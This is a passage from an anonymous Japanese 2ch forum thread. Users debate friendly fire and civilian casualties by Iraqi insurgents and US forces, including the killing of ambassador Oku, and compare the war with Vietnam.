【信濃】　高遠のﾎﾞﾗﾝﾃﾘｱ35　【アンチ信濃】
http://sports2.2ch.net/test/read.cgi/iraq/1120056794/
もしくはその後継スレに、合流してください。

89 ：

>>85
イラクの武装勢力は誤射が多い。
また、民間人をしたり武装勢力同士で反目しあうなど問題も多い。
ベトナムの場合は少数の精神的精神的指導者が全軍を完璧に統率できる状態にあったが、
イラクの場合は様々な勢力が好き勝手に作戦を立てて行動しているという状態。
プロパガンダのために人的資源を浪費したり、無理に正面から戦って被害を増大させたりと、
多少は効果があるだろうが致命的な攻勢をかけることができていない。
逃げ足だけは一流なわけだが。

90 ：

>>88
>高遠スレに変質したと判断します
ご勝手にどうぞ
ｽﾚ汚しは消えてください

91 ：

>>87
イマ　コウバシイ　ジエンヲミマシタ

92 ：

イラク板はヘンな人も結構来るからスルーして自説を展開しちゃって
下さいQ1vvGCio さん

93 ：

ID:cZX4IvE.は議論しないのか？

94 ：

>>89
>イラクの武装勢力は誤射が多い。
いや、狙ってるなら誤射ではないだろ
誤射が多いのは米軍だぜ
この事件の前にも伊外交官誤射して運転手したしな

95 ：

オレは奥大使害事件の詳細は知らないから議論できない。
アメ軍（というか司令部？）がアホなのは関係なく言える。
ベトナムで失敗して学んでないんだからアホだろ

96 ：

>>91
IDが見えてない？

97 ：

>>94
情報公開してる国家と、全くそうでない対象を同列に比較しているわけだね。
＞誤射が多いのは米軍だぜ
こうわかるのも情報公開しているからだろ？
米軍や警察などを狙った攻撃（あえてテロとは書かない）で、全く関係ない無辜の民が何人されていると思う？
武装勢力が市街戦になったとき、どれくらい多く民間人を巻き込んで射撃しているかわかるか？
ＲＰＧを撃つとき、背後に人や壁があると重傷を負うということ知ってる？
次元の違う話を一方的に比較するのはやめな。

98 ：

>>97
確かに、知られてないから事実ナシってことにはならんよなぁ。
大怪我を負った武装勢力が民間人として病院で死ぬこともいっぱいあるだろうしね。

99 ：

>>97
>こうわかるのも情報公開しているからだろ？
残念ですね、情報公開できるのは生存者が居るときだけです。
情報公開によって誤射が明らかになったものは、「すべて」生存者が居ます
奥さんの場合、全員死亡ですよ
>米軍や警察などを狙った攻撃（あえてテロとは書かない）で、全く関係ない無辜の民が何人されていると思う？
米軍を狙ってるだけじゃないだろ。受け入れた人間や協力者の抹もあると思うが？
これには混乱した米兵の射撃による無辜の民の被害者も含まれているし
PMCの無差別射撃による無辜の民の被害者も含まれているね
>武装勢力が市街戦になったとき、どれくらい多く民間人を巻き込んで射撃しているかわかるか？
文脈上関係ない話ばかりですね
>ＲＰＧを撃つとき、背後に人や壁があると重傷を負うということ知ってる？
無反動砲みたいなの話か？
あからさまに関係ない話振るのは詭弁です

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